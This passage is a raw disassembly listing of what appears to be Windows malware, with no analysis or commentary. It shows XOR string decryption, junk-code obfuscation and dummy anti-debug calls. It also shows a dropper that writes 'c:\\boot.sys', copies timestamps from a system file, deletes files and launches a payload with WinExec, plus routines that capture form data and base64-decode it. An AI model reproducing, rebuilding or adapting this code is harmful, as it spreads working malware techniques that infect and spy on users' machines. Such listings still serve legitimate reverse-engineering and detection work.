loc_4080BB:				; CODE XREF: .text:004080C0j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4080BB
		mov	edi, eax
		add	edi, 1
		push	edi
		push	offset byte_41EB90
		push	dword ptr [ebp+0Ch]
		call	sub_40C9F4
		add	esp, 0Ch
		mov	eax, 1

loc_4080DD:				; CODE XREF: .text:00408095j
					; .text:004080ABj
		pop	edi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4080E0	proc near		; CODE XREF: sub_408189+21Fp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_441438
		lea	eax, ds:414490h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		mov	[ebp+var_4], 7
		xor	edi, edi
		jmp	short loc_408126
; ---------------------------------------------------------------------------

loc_40810F:				; CODE XREF: sub_4080E0+48j
		mov	eax, dword_441438
		add	eax, edi
		lea	eax, ds:414490h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 9
		mov	[eax], dl
		inc	edi

loc_408126:				; CODE XREF: sub_4080E0+2Dj
		cmp	edi, esi
		jl	short loc_40810F
		mov	[ebp+var_8], 1ADh
		mov	eax, dword_441438
		add	eax, esi
		mov	byte ptr ds:dword_414490[eax], 0
		xor	edi, edi
		mov	edi, dword_441438
		add	dword_441438, 2
		mov	eax, dword_441438
		add	eax, 5
		add	eax, esi
		mov	dword_441438, eax
		add	dword_441438, 2
		cmp	dword_441438, 0DECh
		jle	short loc_408178
		and	dword_441438, 0

loc_408178:				; CODE XREF: sub_4080E0+8Fj
		mov	[ebp+var_C], 187h
		lea	eax, dword_414490[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_4080E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408189	proc near		; DATA XREF: sub_40A766+7EDo

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		call	sub_40C508	; GetCurrentProcessId
		xor	ebx, ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_C], ebx

loc_40819F:				; CODE XREF: sub_408189+140j
					; sub_408189+14Bj ...
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 3Ah
		jnz	loc_4082B3
		mov	[ebp+var_D], 8Fh
		add	[ebp+var_D], 1
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [ebx+eax+11h],	20h
		jz	short loc_4081C9
		cmp	byte ptr [ebx+eax+14h],	20h
		jnz	loc_4082B3

loc_4081C9:				; CODE XREF: sub_408189+33j
		call	sub_40C634	; IsDebuggerPresent
		mov	eax, [ebp+arg_0]
		mov	al, [ebx+eax+1]
		cmp	al, 34h
		jz	short loc_4081E1
		cmp	al, 35h
		jnz	loc_4082B3

loc_4081E1:				; CODE XREF: sub_408189+4Ej
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [ebx+eax+11h],	20h
		jnz	short loc_4081F4
		mov	[ebp+var_4], 10h
		jmp	short loc_4081FB
; ---------------------------------------------------------------------------

loc_4081F4:				; CODE XREF: sub_408189+60j
		mov	[ebp+var_4], 13h

loc_4081FB:				; CODE XREF: sub_408189+69j
		mov	[ebp+var_5], 0
		xor	esi, esi
		jmp	loc_408286
; ---------------------------------------------------------------------------

loc_408206:				; CODE XREF: sub_408189+100j
		call	sub_40C538	; RtlGetLastWin32Error
		cmp	[ebp+var_4], 13h
		jnz	short loc_40824E
		lea	eax, [ebx+esi+1]
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 2Dh
		jnz	short loc_40824E
		mov	edi, 5
		mov	edx, esi
		inc	edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_14], edi
		mov	eax, edx
		mov	[ebp+var_18], eax
		mov	ecx, edi
		xor	edx, edx
		div	ecx
		mov	[ebp+var_20], eax
		mov	eax, edi
		mov	edi, [ebp+var_20]
		mul	[ebp+var_20]
		mov	[ebp+var_24], eax
		mov	edi, [ebp+var_1C]
		mov	edx, eax
		cmp	edx, edi
		jz	short loc_408285

loc_40824E:				; CODE XREF: sub_408189+86j
					; sub_408189+93j
		call	sub_40C634	; IsDebuggerPresent
		lea	eax, [ebx+esi+1]
		mov	edx, [ebp+arg_0]
		mov	al, [edx+eax]
		cmp	al, 30h
		jl	short loc_408265
		cmp	al, 39h
		jle	short loc_408267

loc_408265:				; CODE XREF: sub_408189+D6j
		jmp	short loc_4082B3
; ---------------------------------------------------------------------------

loc_408267:				; CODE XREF: sub_408189+DAj
		call	sub_40C5A4	; GetVersion
		movzx	eax, [ebp+var_5]
		lea	edx, [ebx+esi+1]
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx+edx]
		mov	ds:byte_432F00[eax], dl
		add	[ebp+var_5], 1

loc_408285:				; CODE XREF: sub_408189+C3j
		inc	esi

loc_408286:				; CODE XREF: sub_408189+78j
		cmp	esi, [ebp+var_4]
		jb	loc_408206
		mov	eax, [ebp+var_4]
		mov	ds:byte_432F00[eax], 0
		call	sub_401334
		or	eax, eax
		jz	short loc_4082AA
		call	sub_40C514	; GetCurrentThreadId
		jmp	short loc_4082B3
; ---------------------------------------------------------------------------

loc_4082AA:				; CODE XREF: sub_408189+118j
		mov	[ebp+var_C], 1
		jmp	short loc_40830A
; ---------------------------------------------------------------------------

loc_4082B3:				; CODE XREF: sub_408189+1Dj
					; sub_408189+3Aj ...
		inc	ebx
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 0
		jz	short loc_408306
		call	sub_40C634	; IsDebuggerPresent
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 3Ch
		jnz	loc_40819F
		cmp	byte ptr [ebx+eax+1], 46h
		jnz	loc_40819F
		cmp	byte ptr [ebx+eax+2], 4Fh
		jnz	loc_40819F
		cmp	byte ptr [ebx+eax+3], 52h
		jnz	loc_40819F
		cmp	byte ptr [ebx+eax+4], 4Dh
		jnz	loc_40819F
		cmp	byte ptr [ebx+eax+5], 5Fh
		jnz	loc_40819F

loc_408306:				; CODE XREF: sub_408189+132j
		and	[ebp+var_C], 0

loc_40830A:				; CODE XREF: sub_408189+128j
		cmp	[ebp+var_C], 0
		jz	short loc_40831F
		mov	eax, ds:dword_42EB94
		mov	dword_43B214, eax
		jmp	loc_4083E0
; ---------------------------------------------------------------------------

loc_40831F:				; CODE XREF: sub_408189+185j
		mov	word ptr [ebp+var_18], 69C0h
		movzx	eax, word ptr [ebp+var_18]
		imul	eax, 3F8Fh
		mov	word ptr [ebp+var_18], ax
		push	0
		push	0
		push	4
		push	0
		push	0
		push	40000000h
		push	offset dword_40E010
		call	sub_40C67C	; CreateFileA
		mov	[ebp+var_14], eax
		call	sub_40C508	; GetCurrentProcessId
		push	2
		push	0
		push	0
		push	[ebp+var_14]
		call	sub_40C6AC	; SetFilePointer
		mov	byte ptr [ebp+var_1C+3], 2Ah
		add	byte ptr [ebp+var_1C+3], 1
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh

loc_408372:				; CODE XREF: sub_408189+1EEj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_408372
		mov	edi, eax
		push	0
		lea	edx, [ebp+var_20]
		push	edx
		push	edi
		push	[ebp+arg_0]
		push	[ebp+var_14]
		call	sub_40C730	; WriteFile
		mov	word ptr [ebp+var_18+2], 73F4h
		movzx	eax, word ptr [ebp+var_18+2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	word ptr [ebp+var_18+2], ax
		push	2
		push	offset byte_445F8B
		call	sub_4080E0
		add	esp, 8
		push	0
		lea	edi, [ebp+var_20]
		push	edi
		mov	edi, 0Dh
		sub	edi, dword_441434
		push	edi
		push	eax
		push	[ebp+var_14]
		call	sub_40C730	; WriteFile
		call	sub_40C514	; GetCurrentThreadId
		push	[ebp+var_14]
		call	sub_40C55C	; CloseHandle
		mov	byte ptr [ebp+var_1C+2], 24h
		add	byte ptr [ebp+var_1C+2], 36h

loc_4083E0:				; CODE XREF: sub_408189+191j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408189	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4083E5	proc near		; CODE XREF: sub_40847D+7Fp
					; sub_4085D0+E8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 34Dh
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_445448
		lea	eax, ds:40D000h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_40842D
; ---------------------------------------------------------------------------

loc_408413:				; CODE XREF: sub_4083E5+4Aj
		mov	eax, dword_445448
		add	eax, edi
		lea	eax, ds:40D000h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0C8h
		mov	[eax], dl
		inc	edi

loc_40842D:				; CODE XREF: sub_4083E5+2Cj
		cmp	edi, esi
		jl	short loc_408413
		mov	eax, dword_445448
		add	eax, esi
		mov	byte ptr ds:dword_40D000[eax], 0
		mov	edi, dword_445448
		mov	eax, edi
		add	eax, 2
		add	eax, esi
		mov	dword_445448, eax
		add	dword_445448, 2
		cmp	dword_445448, 0E0Bh
		jle	short loc_40846C
		and	dword_445448, 0

loc_40846C:				; CODE XREF: sub_4083E5+7Ej
		mov	[ebp+var_8], 16Bh
		lea	eax, dword_40D000[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_4083E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40847D	proc near		; CODE XREF: sub_4085D0+A4p

var_239		= byte ptr -239h
var_238		= dword	ptr -238h
var_232		= word ptr -232h
var_230		= byte ptr -230h
var_228		= byte ptr -228h
var_220		= byte ptr -220h
var_218		= byte ptr -218h
var_213		= byte ptr -213h
var_10E		= word ptr -10Eh
var_10C		= word ptr -10Ch
var_10A		= word ptr -10Ah
var_107		= byte ptr -107h
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 23Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_2], 149Fh
		sub	[ebp+var_2], 654Ch
		lea	edi, [ebp+var_218]
		lea	esi, aMvwp	; "Mwp"
		mov	ecx, 5
		rep movsb
		mov	[ebp+var_10A], 1680h
		sub	[ebp+var_10A], 13D8h
		push	104h
		lea	eax, [ebp+var_213]
		push	eax
		call	sub_40C580	; GetSystemDirectoryA
		mov	[ebp+var_10C], 696Dh
		sub	[ebp+var_10C], 0DF2h
		lea	eax, [ebp+var_213]
		push	eax
		lea	eax, [ebp+var_107]
		push	eax
		call	sub_40C4B8
		call	sub_40C598	; GetTickCount
		push	0Dh
		push	offset byte_445F7D
		call	sub_4083E5
		push	eax
		lea	edi, [ebp+var_107]
		push	edi
		call	sub_40CA54
		add	esp, 10h
		push	0
		push	0
		push	3
		push	0
		push	0
		push	80000001h
		lea	eax, [ebp+var_107]
		push	eax
		call	sub_40C67C	; CreateFileA
		mov	ebx, eax
		mov	[ebp+var_10E], 5E47h
		sub	[ebp+var_10E], 6CA2h
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4085CB
		mov	[ebp+var_232], 5F48h
		movzx	eax, [ebp+var_232]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_232], ax
		lea	eax, [ebp+var_230]
		push	eax
		lea	eax, [ebp+var_228]
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	ebx
		call	sub_40C52C	; GetFileTime
		mov	[ebp+var_238], 1E63h
		sub	[ebp+var_238], 38B1h
		lea	eax, [ebp+var_230]
		push	eax
		lea	eax, [ebp+var_228]
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_0]
		call	sub_40C6B8	; SetFileTime
		mov	[ebp+var_239], 0Dh
		add	[ebp+var_239], 54h
		push	ebx
		call	sub_40C55C	; CloseHandle
		call	sub_40C598	; GetTickCount

loc_4085CB:				; CODE XREF: sub_40847D+C6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40847D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085D0	proc near		; CODE XREF: sub_40A766+A0p

var_225		= dword	ptr -225h
var_221		= byte ptr -221h
var_220		= byte ptr -220h
var_21B		= word ptr -21Bh
var_219		= byte ptr -219h
var_115		= byte ptr -115h
var_109		= byte ptr -109h
var_108		= byte ptr -108h
var_107		= byte ptr -107h
var_106		= word ptr -106h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 228h
		push	ebx
		push	esi
		push	edi
		call	sub_40C574	; GetProcessHeap
		call	sub_40C5A4	; GetVersion
		cmp	eax, 80000000h
		jnb	loc_408730
		mov	[ebp+var_106], 53DAh
		inc	[ebp+var_106]
		lea	edi, [ebp+var_115]
		lea	esi, aCBoot_sys	; "c:\\boot.sys"
		mov	ecx, 3
		rep movsd
		mov	ax, word_44545D
		mov	[ebp+var_21B], ax
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_115]
		push	eax
		call	sub_40C67C	; CreateFileA
		mov	ebx, eax
		mov	[ebp+var_107], 56h
		add	[ebp+var_107], 1
		push	0
		lea	eax, [ebp+var_220]
		push	eax
		push	4001h
		push	offset dword_44143C
		push	ebx
		call	sub_40C730	; WriteFile
		mov	[ebp+var_108], 0F0h
		sub	[ebp+var_108], 6
		push	ebx
		call	sub_40847D
		call	sub_40C508	; GetCurrentProcessId
		push	ebx
		call	sub_40C55C	; CloseHandle
		lea	edi, [ebp+var_221]
		lea	esi, byte_44545F
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C580	; GetSystemDirectoryA
		mov	eax, dword_445460
		mov	[ebp+var_225], eax
		push	0Ah
		push	offset aAFlemcBo ; "渡"
		call	sub_4083E5
		lea	edi, [ebp+var_104]
		push	edi
		push	eax
		lea	edi, [ebp+var_219]
		push	edi
		call	sub_40CA30
		call	sub_40C634	; IsDebuggerPresent
		push	1Dh
		push	offset dword_445F54
		call	sub_4083E5
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	sub_40CA54
		add	esp, 28h
		call	sub_40C508	; GetCurrentProcessId
		lea	eax, [ebp+var_219]
		push	eax
		call	sub_40C760	; DeleteFileA
		mov	[ebp+var_109], 0C1h
		movzx	eax, [ebp+var_109]
		imul	eax, 2ED3h
		mov	[ebp+var_109], al
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C724	; WinExec
		call	sub_40C598	; GetTickCount

loc_408730:				; CODE XREF: sub_4085D0+1Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4085D0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_4454EC
		lea	eax, ds:431D10h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_408775
; ---------------------------------------------------------------------------

loc_40875B:				; CODE XREF: .text:00408777j
		mov	eax, dword_4454EC
		add	eax, edi
		lea	eax, ds:431D10h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0C3h
		mov	[eax], dl
		inc	edi

loc_408775:				; CODE XREF: .text:00408759j
		cmp	edi, esi
		jl	short loc_40875B
		mov	eax, dword_4454EC
		add	eax, esi
		mov	byte ptr ds:dword_431D10[eax], 0
		mov	edi, dword_4454EC
		add	dword_4454EC, 3
		mov	eax, dword_4454EC
		add	eax, 5
		add	eax, esi
		mov	dword_4454EC, eax
		cmp	eax, 0E02h
		jle	short loc_4087B2
		and	dword_4454EC, 0

loc_4087B2:				; CODE XREF: .text:004087A9j
		mov	dword ptr [ebp-4], 2B6h
		lea	eax, dword_431D10[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087C3	proc near		; CODE XREF: sub_4088D5+4Ap

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		mov	[ebp+var_1], 0A2h
		add	[ebp+var_1], 1
		push	4
		push	1000h
		push	[ebp+arg_0]
		push	0
		call	sub_40C6E8	; VirtualAlloc
		jmp	short loc_4087EE
; ---------------------------------------------------------------------------
		mov	edi, 369Ah
		mov	eax, edi
		add	eax, edi
		mov	edi, eax

loc_4087EE:				; CODE XREF: sub_4087C3+1Ej
		pop	edi
		leave
		retn
sub_4087C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087F1	proc near		; CODE XREF: sub_4088D5+E6p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ax, word_4454F0
		mov	[ebp+var_2], ax
		push	8000h
		push	0
		push	[ebp+arg_0]
		call	sub_40C6F4	; VirtualFree
		jmp	short locret_408815
; ---------------------------------------------------------------------------
		call	sub_40C514	; GetCurrentThreadId

locret_408815:				; CODE XREF: sub_4087F1+1Dj
		leave
		retn
sub_4087F1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_4454FC
		lea	eax, ds:439340h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_408857
; ---------------------------------------------------------------------------

loc_40883D:				; CODE XREF: .text:00408859j
		mov	eax, dword_4454FC
		add	eax, edi
		lea	eax, ds:439340h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0C3h
		mov	[eax], dl
		inc	edi

loc_408857:				; CODE XREF: .text:0040883Bj
		cmp	edi, esi
		jl	short loc_40883D
		mov	eax, dword_4454FC
		add	eax, esi
		mov	byte ptr ds:dword_439340[eax], 0
		mov	edi, dword_4454FC
		add	dword_4454FC, 3
		mov	eax, dword_4454FC
		add	eax, 5
		add	eax, esi
		mov	dword_4454FC, eax
		cmp	eax, 0E02h
		jle	short loc_408894
		and	dword_4454FC, 0

loc_408894:				; CODE XREF: .text:0040888Bj
		mov	dword ptr [ebp-4], 2B6h
		lea	eax, dword_439340[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088A5	proc near		; CODE XREF: sub_4088D5+100p

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		mov	[ebp+var_1], 0A2h
		add	[ebp+var_1], 1
		push	offset dword_4454A4
		push	offset dword_445464
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BA60
		mov	edi, 369Ah
		mov	eax, edi
		add	eax, edi
		mov	edi, eax
		pop	edi
		leave
		retn
sub_4088A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088D5	proc near		; CODE XREF: sub_409847+4BCp

var_6A		= word ptr -6Ah
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_61		= byte ptr -61h
var_5E		= word ptr -5Eh
var_5C		= byte ptr -5Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 6Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	ax, word_445500
		mov	[ebp+var_5E], ax
		lea	edi, [ebp+var_61]
		lea	esi, word_445502
		mov	ecx, 3
		rep movsb
		lea	edi, [ebp+var_64]
		lea	esi, byte_445505
		mov	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_408916
		add	eax, 3Fh

loc_408916:				; CODE XREF: sub_4088D5+3Cj
		sar	eax, 6
		mov	edi, eax
		shl	edi, 6
		push	edi
		call	sub_4087C3
		pop	ecx
		mov	[ebp+var_18], eax
		call	sub_40C634	; IsDebuggerPresent
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_408938
		add	eax, 3Fh

loc_408938:				; CODE XREF: sub_4088D5+5Ej
		sar	eax, 6
		mov	edi, eax
		shl	edi, 6
		push	edi
		push	[ebp+var_18]
		call	sub_40C6A0	; RtlZeroMemory
		call	sub_40C514	; GetCurrentThreadId
		push	[ebp+arg_4]
		push	ebx
		push	[ebp+var_18]
		call	sub_40C9F4
		add	esp, 0Ch
		mov	eax, dword_445508
		mov	[ebp+var_68], eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40BB9E
		call	sub_40C598	; GetTickCount
		mov	ebx, [ebp+var_18]
		and	[ebp+var_4], 0
		jmp	short loc_4089A5
; ---------------------------------------------------------------------------

loc_40897C:				; CODE XREF: sub_4088D5+E1j
		call	sub_40C508	; GetCurrentProcessId
		push	ebx
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40BBC5
		mov	[ebp+var_6A], 3E0Fh
		movzx	eax, [ebp+var_6A]
		imul	eax, 4D56h
		mov	[ebp+var_6A], ax
		add	ebx, 40h
		inc	[ebp+var_4]

loc_4089A5:				; CODE XREF: sub_4088D5+A5j
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_4089B0
		add	eax, 3Fh

loc_4089B0:				; CODE XREF: sub_4088D5+D6j
		sar	eax, 6
		cmp	[ebp+var_4], eax
		jl	short loc_40897C
		push	[ebp+var_18]
		call	sub_4087F1
		mov	[ebp+var_1C], 5CDFh
		add	[ebp+var_1C], 4710h
		lea	eax, [ebp+var_5C]
		push	eax
		push	[ebp+arg_8]
		call	sub_4088A5
		mov	eax, dword_4454F4
		add	eax, 0Eh
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_5C]
		push	eax
		call	sub_40C9E8
		add	esp, 18h
		or	eax, eax
		jz	short loc_4089FC
		xor	eax, eax
		inc	eax
		jmp	short loc_408A03
; ---------------------------------------------------------------------------

loc_4089FC:				; CODE XREF: sub_4088D5+120j
		call	sub_40C5A4	; GetVersion
		xor	eax, eax

loc_408A03:				; CODE XREF: sub_4088D5+125j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4088D5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 3D4h
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_445514
		lea	eax, ds:438220h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_408A4C
; ---------------------------------------------------------------------------

loc_408A35:				; CODE XREF: .text:00408A4Ej
		mov	eax, dword_445514
		add	eax, edi
		lea	eax, ds:438220h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 25h
		mov	[eax], dl
		inc	edi

loc_408A4C:				; CODE XREF: .text:00408A33j
		cmp	edi, esi
		jl	short loc_408A35
		mov	eax, dword_445514
		add	eax, esi
		mov	byte ptr ds:dword_438220[eax], 0
		mov	edi, dword_445514
		mov	eax, edi
		add	eax, 4
		add	eax, esi
		mov	dword_445514, eax
		add	dword_445514, 3
		cmp	dword_445514, 0DCBh
		jle	short loc_408A8B
		and	dword_445514, 0

loc_408A8B:				; CODE XREF: .text:00408A82j
		lea	eax, dword_438220[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408A95	proc near		; CODE XREF: sub_409847+40Fp
					; sub_409847+434p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_1F		= byte ptr -1Fh
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_16], 6062h
		movzx	eax, [ebp+var_16]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_16], ax
		call	sub_40C634	; IsDebuggerPresent
		xor	eax, eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	ebx, [ebp+arg_0]
		jmp	loc_408BB9
; ---------------------------------------------------------------------------

loc_408AD9:				; CODE XREF: sub_408A95+12Fj
		call	sub_40C634	; IsDebuggerPresent
		movsx	edi, byte ptr [ebx]
		shl	edi, 2
		mov	edi, dword_445518[edi]
		mov	[ebp+var_4], edi
		cmp	edi, 0FFFFFFFFh
		jz	loc_408BB8
		lea	edi, [ebp+var_1F]
		lea	esi, aJwouJ?	; "jWOu	J?"
		movsd
		movsd
		mov	eax, [ebp+var_10]
		or	eax, eax
		jl	loc_408BB2
		cmp	eax, 3
		jg	loc_408BB2
		jmp	off_445924[eax*4]
; ---------------------------------------------------------------------------
		mov	eax, dword_445920
		mov	[ebp+var_2C], eax

loc_408B25:				; CODE XREF: sub_408A95+81j
					; DATA XREF: .data:off_445924o
		inc	[ebp+var_10]
		call	sub_40C598	; GetTickCount
		jmp	loc_408BB2
; ---------------------------------------------------------------------------

loc_408B32:				; CODE XREF: sub_408A95+81j
					; DATA XREF: .data:00445928o
		mov	edi, [ebp+var_14]
		shl	edi, 2
		mov	esi, [ebp+var_4]
		and	esi, 30h
		sar	esi, 4
		or	edi, esi
		mov	edx, edi
		mov	[ebp+var_17], dl
		mov	[ebp+var_28], 6A69h
		mov	eax, [ebp+var_28]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_8]
		inc	[ebp+var_8]
		mov	dl, [ebp+var_17]
		mov	[eax], dl
		inc	[ebp+var_10]
		jmp	short loc_408BB2
; ---------------------------------------------------------------------------

loc_408B69:				; CODE XREF: sub_408A95+81j
					; DATA XREF: .data:0044592Co
		mov	edi, [ebp+var_14]
		and	edi, 0Fh
		shl	edi, 4
		mov	esi, [ebp+var_4]
		and	esi, 3Ch
		sar	esi, 2
		or	edi, esi
		mov	edx, edi
		mov	[ebp+var_17], dl
		mov	eax, [ebp+var_8]
		inc	[ebp+var_8]
		mov	dl, [ebp+var_17]
		mov	[eax], dl
		inc	[ebp+var_10]
		jmp	short loc_408BB2
; ---------------------------------------------------------------------------

loc_408B92:				; CODE XREF: sub_408A95+81j
					; DATA XREF: .data:00445930o
		mov	edi, [ebp+var_14]
		and	edi, 3
		shl	edi, 6
		or	edi, [ebp+var_4]
		mov	edx, edi
		mov	[ebp+var_17], dl
		mov	eax, [ebp+var_8]
		inc	[ebp+var_8]
		mov	dl, [ebp+var_17]
		mov	[eax], dl
		and	[ebp+var_10], 0

loc_408BB2:				; CODE XREF: sub_408A95+72j
					; sub_408A95+7Bj ...
		mov	eax, [ebp+var_4]
		mov	[ebp+var_14], eax

loc_408BB8:				; CODE XREF: sub_408A95+5Cj
		inc	ebx

loc_408BB9:				; CODE XREF: sub_408A95+3Fj
		cmp	byte ptr [ebx],	0
		jz	short loc_408BCA
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_8], eax
		jb	loc_408AD9

loc_408BCA:				; CODE XREF: sub_408A95+127j
		cmp	byte ptr [ebx],	0
		jnz	short loc_408BDC
		call	sub_40C538	; RtlGetLastWin32Error
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+arg_4]
		jmp	short loc_408BDF
; ---------------------------------------------------------------------------

loc_408BDC:				; CODE XREF: sub_408A95+138j
		or	eax, 0FFFFFFFFh

loc_408BDF:				; CODE XREF: sub_408A95+145j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408A95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408BE4	proc near		; CODE XREF: sub_409847:loc_40A5BFp

var_370		= byte ptr -370h
var_36C		= byte ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_24C		= byte ptr -24Ch
var_148		= dword	ptr -148h
var_11C		= dword	ptr -11Ch
var_118		= word ptr -118h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 370h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		push	104h
		call	sub_40C58C	; GetTempPathA
